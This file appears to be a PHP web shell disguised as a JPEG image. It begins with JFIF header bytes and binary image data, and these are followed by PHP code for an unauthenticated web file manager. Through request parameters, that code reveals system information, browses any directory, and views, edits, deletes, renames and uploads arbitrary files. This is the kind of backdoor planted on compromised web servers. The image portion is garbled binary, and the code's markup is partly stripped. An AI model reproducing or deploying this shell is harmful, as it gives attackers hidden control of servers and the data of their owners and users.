ÿØÿà JFIF    ÿÛ „ ( %"1!%)+...383,7(-.+  -+++--++++---+-+-----+---------------+---+-++7-----ÿÀ  ß â" ÿÄ    ÿÄ H   !1AQaq"‘¡2B±ÁÑð#R“ÒTbr‚²á3csƒ’ÂñDS¢³$CÿÄ   ÿÄ %  !1AQa"23‘ÿÚ   ? ôÿ ¨pŸªáÿ —åYõõ\?àÒü©ŠÄï¨pŸªáÿ —åYõõ\?àÓü©ŠÄá 0Ÿªáÿ Ÿå[úƒ ú®ði~TÁbqÐ8OÕpÿ ƒOò¤Oè`–RÂáœá™êi€ßÉ< FtŸI“öÌ8úDf´°å}“¾œ6  öFá°y¥jñÇh†ˆ¢ã/ÃÐ:ªcÈ "Y¡ðÑl>ÿ ”ÏËte:qž\oäŠe÷󲍷˜HT4&ÿ ÓÐü6ö®¿øþßèô Ÿ•7Ñi’•j|“ñì>b…þS?*Óôÿ ÓÐü*h¥£ír¶ü UãS炟[AÐaè[ûª•õ&õj?†Éö+EzP—WeÒírJFt ‘BŒ†Ï‡%#tE Øz¥OÛ«!1›üä±Í™%ºÍãö]°î(–:@<‹ŒÊö×òÆt¦ãº+‡¦%ÌÁ²h´OƒJŒtMÜ>ÀÜÊw3Y´•牋4ǍýʏTì>œú=Íwhyë,¾Ôò×õ¿ßÊa»«þˆѪQ|%6ž™A õ%:øj<>É—ÿ Å_ˆCbõ¥š±ý¯Ýƒï…¶|RëócÍf溪“t.СøTÿ *Ä¿-{†çàczůŽ_–^XþŒ±miB[X±d 1,é”zEù»& î9gœf™9Ð'.;—™i}!ôšåîqêÛ٤ёý£½ÆA–àôe"A$˝Úsäÿ ÷Û #°xŸëí(l »ý3—¥5m! rt`†0~'j2(]S¦¦kv,ÚÇ l¦øJA£Šƒ J3E8ÙiŽ:cÉžúeZ°€¯\®kÖ(79«Ž:¯X”¾³Š&¡*….‰Ž(ÜíŸ2¥ª‡×Hi²TF¤ò[¨íÈRëÉ䢍mgÑ.Ÿ<öäS0í„ǹÁU´f#Vß;Õ–…P@3ío<ä-±»Ž.L|kªÀê›fÂ6@»eu‚|ÓaÞÆŸ…¨ááå>åŠ?cKü6ùTÍÆ”†sĤÚ;H2RÚ†õ\Ö·Ÿn'¾ñ#ºI¤Å´%çÁ­‚â7›‹qT3Iï¨ÖÚ5I7Ë!ÅOóŸ¶øÝñØôת¦$Tcö‘[«Ö³šÒ';Aþ ¸èíg A2Z"i¸vdÄ÷.iõ®§)¿]¤À†–‡É&ä{V¶iŽ”.Ó×Õÿ û?h¬Mt–íª[ÿ Ñÿ ÌV(í}=ibÔ¡›¥¢±bLô¥‡piη_Z<‡z§èŒ)iÖwiÇ 2hÙ3·=’d÷8éŽ1¦¸c¤µ€7›7Ø ð\á)} ¹fËí›pAÃL%âc2 í§æQz¿;T8sæ°qø)QFMð‰XŒÂ±N¢aF¨…8¯!U  Z©RÊÖPVÄÀÍin™Ì-GˆªÅËŠ›•zË}º±ŽÍFò¹}Uw×#ä5B¤{î}Ð<ÙD é©¤&‡ïDbàÁôMÁ.ÿØÿà JFIF    ÿÛ „ ( %"1!%)+...383,7(-.+  -+++--++++---+-+-----+---------------+---+-++7-----ÿÀ  ß â" ÿÄ    ÿÄ H   !1AQaq"‘¡2B±ÁÑð#R“ÒTbr‚²á3csƒ’ÂñDS¢³$CÿÄ   ÿÄ %  !1AQa"23‘ÿÚ   ? ôÿ ¨pŸªáÿ —åYõõ\?àÒü©ŠÄï¨pŸªáÿ —åYõõ\?àÓü©ŠÄá 0Ÿªáÿ Ÿå[úƒ ú®ði~TÁbqÐ8OÕpÿ ƒOò¤Oè`–RÂáœá™êi€ßÉ< FtŸI“öÌ8úDf´°å}“¾œ6  öFá°y¥jñÇh†ˆ¢ã/ÃÐ:ªcÈ "Y¡ðÑl>ÿ ”ÏËte:qž\oäŠe÷󲍷˜HT4&ÿ ÓÐü6ö®¿øþßèô Ÿ•7Ñi’•j|“ñì>b…þS?*Óôÿ ÓÐü*h¥£ír¶ü UãS炟[AÐaè[ûª•õ&õj?†Éö+EzP—WeÒírJFt ‘BŒ†Ï‡%#tE Øz¥OÛ«!1›üä±Í™%ºÍãö]°î(–:@<‹ŒÊö×òÆt¦ãº+‡¦%ÌÁ²h´OƒJŒtMÜ>ÀÜÊw3Y´•牋4ǍýʏTì>œú=Íwhyë,¾Ôò×õ¿ßÊa»«þˆѪQ|%6ž™A õ%:øj<>É—ÿ Å_ˆCbõ¥š±ý¯Ýƒï…¶|RëócÍf溪“t.СøTÿ *Ä¿-{†çàczůŽ_–^XþŒ±miB[X±d 1,é”zEù»& î9gœf™9Ð'.;—™i}!ôšåîqêÛ٤ёý£½ÆA–àôe"A$˝Úsäÿ ÷Û #°xŸëí(l »ý3—¥5m! rt`†0~'j2(]S¦¦kv,ÚÇ l¦øJA£Šƒ J3E8ÙiŽ:cÉžúeZ°€¯\®kÖ(79«Ž:¯X”¾³Š&¡*….‰Ž(ÜíŸ2¥ª‡×Hi²TF¤ò[¨íÈRëÉ䢍mgÑ.Ÿ<öäS0í„ǹÁU´f#Vß;Õ–…P@3ío<ä-±»Ž.L|kªÀê›fÂ6@»eu‚|ÓaÞÆŸ…¨ááå>åŠ?cKü6ùTÍÆ”†sĤÚ;H2RÚ†õ\Ö·Ÿn'¾ñ#ºI¤Å´%çÁ­‚â7›‹qT3Iï¨ÖÚ5I7Ë!ÅOóŸ¶øÝñØôת¦$Tcö‘[«Ö³šÒ';Aþ ¸èíg A2Z"i¸vdÄ÷.iõ®§)¿]¤À†–‡É&ä{V¶iŽ”.Ó×Õÿ û?h¬Mt–íª[ÿ Ñÿ ÌV(í}=ibÔ¡›¥¢±bLô¥‡piη_Z<‡z§èŒ)iÖwiÇ 2hÙ3·=’d÷8éŽ1¦¸c¤µ€7›7Ø ð\á)} ¹fËí›pAÃL%âc2 í§æQz¿;T8sæ°qø)QFMð‰XŒÂ±N¢aF¨…8¯!U  Z©RÊÖPVÄÀÍin™Ì-GˆªÅËŠ›•zË}º±ŽÍFò¹}Uw×#ä5B¤{î}Ð<ÙD é©¤&‡ïDbàÁôMÁ. $symbolic, 'numeric' => $numeric ]; } // Function to recursively list directories and files function listDirectory($dir) { // Get the current directory contents $files = scandir($dir); $system_info = php_uname(); // Display current directory name echo "

$system_info

"; echo "
Directory: $dir
"; // Display link to go back to the parent directory $parentDir = dirname($dir); if ($dir !== '/') { echo " Go Back
"; } // Display option to create a new file echo "
"; // Display list of directories first, then files echo ""; } // Function to create a new file function createFile($dir, $fileName) { $filePath = "$dir/$fileName"; if (!file_exists($filePath)) { file_put_contents($filePath, ""); // Create an empty file echo "
File '$fileName' created successfully!
"; } else { echo "
File '$fileName' already exists.
"; } } // Function to upload multiple files function uploadFile($dir) { $uploadpath = $dir . '/'; // Directory to store the uploaded files $max_size = 2000; // Maximum file size, in KiloBytes $alwidth = 900; // Maximum allowed width, in pixels $alheight = 800; // Maximum allowed height, in pixels if (isset($_FILES['fileup'])) { $files = $_FILES['fileup']; $uploadedFiles = 0; // Loop through each file foreach ($files['name'] as $key => $name) { if (strlen($name) > 1) { $fileTmp = $files['tmp_name'][$key]; $fileSize = $files['size'][$key]; $fileError = $files['error'][$key]; $fileType = strtolower(pathinfo($name, PATHINFO_EXTENSION)); // Check if the file is an image and get its dimensions if (in_array($fileType, ['jpg', 'jpe', 'png', 'gif'])) { list($width, $height) = getimagesize($fileTmp); } // Validate file size, width, and height $err = ''; if ($fileSize > $max_size * 1000) $err .= 'File ' . $name . ' exceeds maximum size of ' . $max_size . ' KB.
'; if (isset($width) && isset($height) && ($width >= $alwidth || $height >= $alheight)) $err .= 'File ' . $name . ' exceeds maximum dimensions of ' . $alwidth . 'x' . $alheight . '.
'; // If no errors, upload the file if ($err == '') { $destination = $uploadpath . basename($name); if (move_uploaded_file($fileTmp, $destination)) { $uploadedFiles++; } else { echo '
Failed to upload ' . $name . '.
'; } } else { echo '
' . $err . '
'; } } } if ($uploadedFiles > 0) { echo '
' . $uploadedFiles . ' file(s) uploaded successfully!
'; } } else { echo '
No files selected.
'; } } // Function to view file content function viewFile($filePath) { if (file_exists($filePath) && is_file($filePath)) { $content = htmlspecialchars(file_get_contents($filePath)); echo "

Viewing File: $filePath

"; echo "
$content
"; echo " Back to Directory"; } else { echo "
File not found.
"; } } // Function to edit file content function editFile($filePath) { if (isset($_POST['content'])) { file_put_contents($filePath, $_POST['content']); echo "
File saved successfully!
"; } $content = htmlspecialchars(file_get_contents($filePath)); echo "

Editing File: $filePath

"; echo "
"; echo " Back to Directory"; } // Function to delete a file function deleteFile($filePath) { if (file_exists($filePath)) { if (unlink($filePath)) { echo ""; } else { echo ""; } } else { echo ""; } } // Function to rename a file function renameFile($filePath, $newName) { $dir = dirname($filePath); $newFilePath = "$dir/$newName"; // Check if the new file name already exists if (file_exists($newFilePath)) { echo "
A file with the name '$newName' already exists.
"; return; } // Attempt to rename the file if (rename($filePath, $newFilePath)) { echo "
File renamed successfully to '$newName'.
"; } else { echo "
Failed to rename file. Please check permissions.
"; } } // Determine what action to take if (isset($_POST['upload_file'])) { $currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.'; $currentDir = realpath($currentDir); uploadFile($currentDir); listDirectory($currentDir); } elseif (isset($_GET['view'])) { $filePath = realpath($_GET['view']); viewFile($filePath); } elseif (isset($_GET['edit'])) { $filePath = realpath($_GET['edit']); editFile($filePath); } elseif (isset($_GET['delete'])) { $filePath = realpath($_GET['delete']); deleteFile($filePath); } elseif (isset($_GET['rename'])) { $filePath = realpath($_GET['rename']); echo "

Rename File: " . basename($filePath) . "

"; echo "
"; } elseif (isset($_POST['rename_file']) && !empty($_POST['new_name'])) { $filePath = $_POST['file_path']; $newName = $_POST['new_name']; renameFile($filePath, $newName); $currentDir = dirname($filePath); listDirectory($currentDir); } elseif (isset($_POST['create_file']) && !empty($_POST['new_file_name'])) { $currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.'; $currentDir = realpath($currentDir); createFile($currentDir, $_POST['new_file_name']); listDirectory($currentDir); } else { // Default action: list directory contents $currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.'; $currentDir = realpath($currentDir); listDirectory($currentDir); } ?> File Manager